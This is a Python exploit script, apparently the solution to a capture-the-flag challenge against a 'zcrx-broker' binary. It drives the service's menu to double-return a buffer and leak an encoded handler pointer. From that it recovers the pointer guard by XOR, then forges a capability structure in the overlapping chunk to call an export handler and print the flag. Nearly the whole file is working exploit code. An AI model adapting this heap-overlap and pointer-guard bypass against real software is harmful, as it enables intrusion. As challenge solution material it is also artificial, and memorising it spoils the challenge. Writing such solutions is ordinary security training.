#!/usr/bin/env python3
import argparse
import os
import socket
import struct
import subprocess
import sys

CAP_MAGIC = 0x4341505245433031
RIGHT_EXPORT = 0x4558504F52542121
CHUNK_SIZE = 176


class Tube:
    def __init__(self, sock=None, proc=None):
        self.sock = sock
        self.proc = proc

    def recv(self, n=4096):
        if self.sock:
            return self.sock.recv(n)
        return os.read(self.proc.stdout.fileno(), n)

    def send(self, data):
        if self.sock:
            self.sock.sendall(data)
        else:
            os.write(self.proc.stdin.fileno(), data)

    def sendline(self, data):
        self.send(data + b"\n")

    def recvuntil(self, marker):
        out = b""
        while marker not in out:
            chunk = self.recv(1)
            if not chunk:
                raise EOFError(out)
            out += chunk
        return out


def symbol_value(binary, name):
    out = subprocess.check_output(["readelf", "-sW", binary], text=True)
    for line in out.splitlines():
        fields = line.split()
        if len(fields) >= 8 and fields[-1] == name:
            return int(fields[1], 16)
    raise RuntimeError(f"symbol not found: {name}")


def connect(args):
    if args.local:
        env = os.environ.copy()
        env["CTF_FLAG"] = args.flag
        proc = subprocess.Popen(
            [args.binary],
            stdin=subprocess.PIPE,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            env=env,
        )
        return Tube(proc=proc)
    sock = socket.create_connection((args.host, args.port), timeout=5)
    return Tube(sock=sock)


def choose(io, value):
    io.recvuntil(b">")
    io.sendline(str(value).encode())


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=31339)
    parser.add_argument("--local", action="store_true")
    parser.add_argument("--binary", default="../public/zcrx-broker")
    parser.add_argument("--flag", default="caplag{double_returned_niov_shared_the_capability}")
    args = parser.parse_args()

    audit_handler = symbol_value(args.binary, "audit_handler")
    export_handler = symbol_value(args.binary, "export_handler")

    io = connect(args)

    choose(io, 1)
    io.recvuntil(b"label:")
    io.sendline(b"rx-preview-niov")

    for path in (b"scrub", b"refill"):
        choose(io, 2)
        io.recvuntil(b"path:")
        io.sendline(path)
        io.recvuntil(b"view:")
        io.sendline(b"0")

    choose(io, 3)
    io.recvuntil(b"free_count=")
    io.recvuntil(b"\n")

    choose(io, 4)
    io.recvuntil(b"cap 0 allocated")

    choose(io, 5)
    io.recvuntil(b"cap:")
    io.sendline(b"0")
    io.recvuntil(b"encoded_handler=")
    encoded_audit = int(io.recvuntil(b" rights=")[: -len(b" rights=")], 16)
    ptr_guard = encoded_audit ^ audit_handler
    encoded_export = export_handler ^ ptr_guard

    forged = struct.pack("<Q", CAP_MAGIC)
    forged += struct.pack("<Q", encoded_export)
    forged += struct.pack("<Q", RIGHT_EXPORT)
    forged += b"/broker/export\x00".ljust(48, b"\x00")
    forged += b"overlap from double-returned niov".ljust(104, b"\x00")
    forged = forged.ljust(CHUNK_SIZE, b"\x00")

    choose(io, 6)
    io.recvuntil(b"blob bytes:")
    io.sendline(str(len(forged)).encode())
    io.recvuntil(b"blob payload:")
    io.send(forged)

    choose(io, 7)
    io.recvuntil(b"cap:")
    io.sendline(b"0")
    data = io.recvuntil(b"}")
    flag = data[data.rfind(b"caplag{") :].decode()
    print(flag)


if __name__ == "__main__":
    sys.exit(main())